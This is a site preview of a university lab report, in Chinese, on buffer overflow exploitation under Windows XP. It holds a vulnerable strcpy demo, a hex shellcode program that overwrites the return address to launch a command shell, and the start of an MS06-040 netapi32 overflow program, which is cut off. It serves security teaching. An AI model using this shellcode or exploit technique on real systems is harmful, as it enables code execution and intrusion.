缓冲区溢出实验报告.doc

缓冲区溢出实验报告.doc

ID:55612430

大小:346.50 KB

页数:15页

时间:2020-05-19

缓冲区溢出实验报告.doc_第1页
缓冲区溢出实验报告.doc_第2页
缓冲区溢出实验报告.doc_第3页
缓冲区溢出实验报告.doc_第4页
缓冲区溢出实验报告.doc_第5页
资源描述:

《缓冲区溢出实验报告.doc》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库

1、华中科技大学计算机学院《信息系统应用安全》实验报告实验名称缓冲区溢出实验团队成员:姓名班级学号贡献百分比得分高涛信安0703班U100%注:团队成员贡献百分比之和为1教师评语:一.实验环境n操作系统:WindowsXPSP3n编译平台:VisualC++6.0n调试环境:OllyDbg二.实验目的1.掌握缓冲区溢出的原理;2.掌握缓冲区溢出漏洞的利用技巧;3.理解缓冲区溢出漏洞的防范措施。三.实验内容及步骤1.缓冲区溢出漏洞产生的的基本原理和攻击方法n缓冲区溢出模拟程序程序源代码如下:#include"string.h"#include"stdio.h"#include<

2、windows.h>//charname[]="AAAAAAAAAAAAAAAA";charname[]="AAAAAAAAAAAAABCD";intmain(){charoutput[8];strcpy(output,name);//内存拷贝,如果name长度超过8,则出现缓冲区溢出for(inti=0;i<8&&output[i];i++){printf("\0x%x",output[i]);}printf("");return0;}运行该程序产生访问异常:由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP

3、指向,引发访问异常。n运行命令窗口的shellcodeshellcode测试代码如下:#include"string.h"#include"stdio.h"#includecharname[]="x41x41x41x41""x41x41x41x41""x41x41x41x41"///覆盖ebp"x12x45xfax7f"////覆盖eip,jmpesp地址7ffa4512"x55x8bxecx33xc0x50x50x50xc6x45xf4x6d""xc6x45xf5x73xc6x45

4、xf6x76xc6x45xf7x63""xc6x45xf8x72xc6x45xf9x74xc6x45xfax2e""xc6x45xfbx64xc6x45xfcx6cxc6x45xfdx6c""x8dx45xf4x50xb8""x77x1dx80x7c"//LoadLibraryW的地址"xffxd0""x55x8bxecx33xffx57x57x57xc6x45xf4x73""xc6x45xf5x74xc6x45xf6x61xc6x45xf7x

5、72""xc6x45xf8x74xc6x45xf9x20xc6x45xfax63""xc6x45xfbx6dxc6x45xfcx64x8dx7dxf4x57""xba""xc7x93xbfx77"//System的地址"xffxd2";intmain(){charoutput[8];strcpy(output,name);for(inti=0;i<8&&output[i];i++){printf("\0x%x",output[i]);}printf("");return0;}shellcode测试代码运行

6、效果如下:由于把main函数的返回EIP地址替换成了jmpesp的地址,main函数返回的时候就会执行我们的shellcode代码。该shellcode,运行命令窗口。1.MS06-040缓冲区溢出漏洞分析和利用n溢出点定位溢出点定位源代码#includetypedefvoid(*MYPROC)(LPTSTR);intmain(){chararg_1[0x320];chararg_2[0x440];intarg_3=0x440;chararg_4[0x100];longarg_5=44;inti=0;HINSTANCELibHandle;MYPROC

7、Trigger;chardll[]="./netapi32.dll";charVulFunc[]="NetpwPathCanonicalize";LibHandle=LoadLibrary(dll);//加载当前目录的netapi32.dllTrigger=(MYPROC)GetProcAddress(LibHandle,VulFunc);//获得NetpwPathCanonicalize的调用地址//填充参数memset(arg_1,0,sizeof(arg_1));//先清零内存memset(arg_1,'a',sizeo

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。